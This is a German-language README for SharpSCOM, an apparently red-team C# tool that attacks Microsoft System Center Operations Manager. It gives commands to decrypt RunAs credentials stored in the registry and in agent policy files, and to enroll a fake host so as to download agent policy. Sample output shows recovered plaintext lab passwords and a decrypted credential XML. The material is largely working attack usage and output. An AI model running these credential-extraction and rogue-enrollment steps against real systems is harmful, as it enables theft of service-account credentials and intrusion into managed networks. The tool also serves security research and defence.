
Ein C#-Dienstprogramm für die Interaktion mit SCOM
Ein C#-Tool für die Interaktion mit Microsoft System Center Operations Manager (SCOM).
Dieses Tool wurde gegen die SCOM-Serverversion 10.22.10118.0 getestet.
Die SSPI-Integration wird über die Bibliothek nsspi von Kevin Thompson (antiduh) bereitgestellt, die unter der BSD-2-Lizenz veröffentlicht wurde.
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
Usage: SharpSCOM <command> [options]
Commands:
RegisterAgent Register a new agent with SCOM server
RegisterCertificate Assign a certificate to an existing agent
RequestPolicy Request policy from SCOM server
DownloadPolicy Download policy from SCOM server
AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
DecryptPolicy Decrypt SecureData section from a policy file
DecryptRunAs Extract and decrypt RunAs credentials from registry
Common Options:
/hostname:<name> Computer hostname (default: current machine)
/managementgroup:<mg> SCOM management group name
/server:<server> SCOM server address
/port:<port> SCOM server port (default: 5723)
/outfile:<file> Output file path
/data:<base64> Base64-encoded data
/key:<xml> RSA private key in XML format
/verbose Enable verbose output
/help Show this help message
Examples:
SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
SharpSCOM DecryptRunAs
Die folgenden Befehle sind für die Ausführung auf einem Server gedacht, der derzeit bei SCOM registriert ist. Falls RunAs-Anmeldeinformationen verwendet und an den Server verteilt wurden, können wir mit den folgenden Befehlen die Klartext-Anmeldeinformationen wiederherstellen.
Extrahiert und entschlüsselt RunAs-Anmeldeinformationen aus der Registrierung (erfordert lokale Administratorrechte):
SharpSCOM.exe decryptrunas
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials
Username: ludus\opsmgr_action
Password: Password123
Username: ludus\opsmgr_dataread
Password: Password123
Username: ludus\opsmgr_datawrite
Password: Password123
Username: ludus\runas_account
Password: SuperSecure!
[+] Completed
Extrahiert und entschlüsselt RunAs-Anmeldeinformationen, die im Abschnitt SecureData einer Agent-Policy-XML-Datei gespeichert sind. Standardmäßig ist diese Datei unter C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config zu finden.
Dieser Befehl sucht das aktuelle SCOM-RunAs-Zertifikat im Speicher Local Machine\Microsoft Monitoring Agent und verwendet den zugehörigen privaten Schlüssel für die Entschlüsselung.
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
Wenn wir Kontrolle über einen in die Domäne eingebundenen Host haben, der derzeit nicht bei SCOM registriert ist, können wir versuchen, das Gerät zu registrieren und eine Agent-Policy-XML-Datei anzufordern, sofern die folgenden Voraussetzungen erfüllt sind.
Voraussetzungen:
Um ein neues Gerät zu registrieren, sendet der SCOM-Agent jede der folgenden 4 Nachrichten an den SCOM-Server.
| Befehl | Beschreibung |
|---|---|
RegisterAgent | Registriert einen neuen Agenten beim SCOM-Server |
RegisterCertificate | Weist einem vorhandenen Agenten ein Zertifikat zu |
RequestPolicy | Fordert eine Richtlinie vom SCOM-Server an |
DownloadPolicy | Lädt die Richtlinie vom SCOM-Server herunter |
Zu Testzwecken kann jede der obigen Nachrichten einzeln an den SCOM-Server gesendet werden, indem der entsprechende Befehl in SharpSCOM verwendet wird.
Hinweis: Der SCOM-Server erwartet, diese Nachrichten zusammen als Teil einer mehrteiligen Anforderung zu empfangen. Um die Agent-Policy-Datei zuverlässig zu erhalten, müssen wir den Befehl
AutoEnrollverwenden, der die BefehleRegisterAgent,RegisterCertificateundRequestPolicyzusammen als mehrteilige Nachricht sendet.
Nach dem Senden des AutoEnroll-Befehls wird die Antwort des SCOM-Servers automatisch analysiert und verwendet, um die endgültige DownloadPolicy-Nachricht zum Herunterladen der Agent-Policy-XML-Datei zu erzeugen.
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1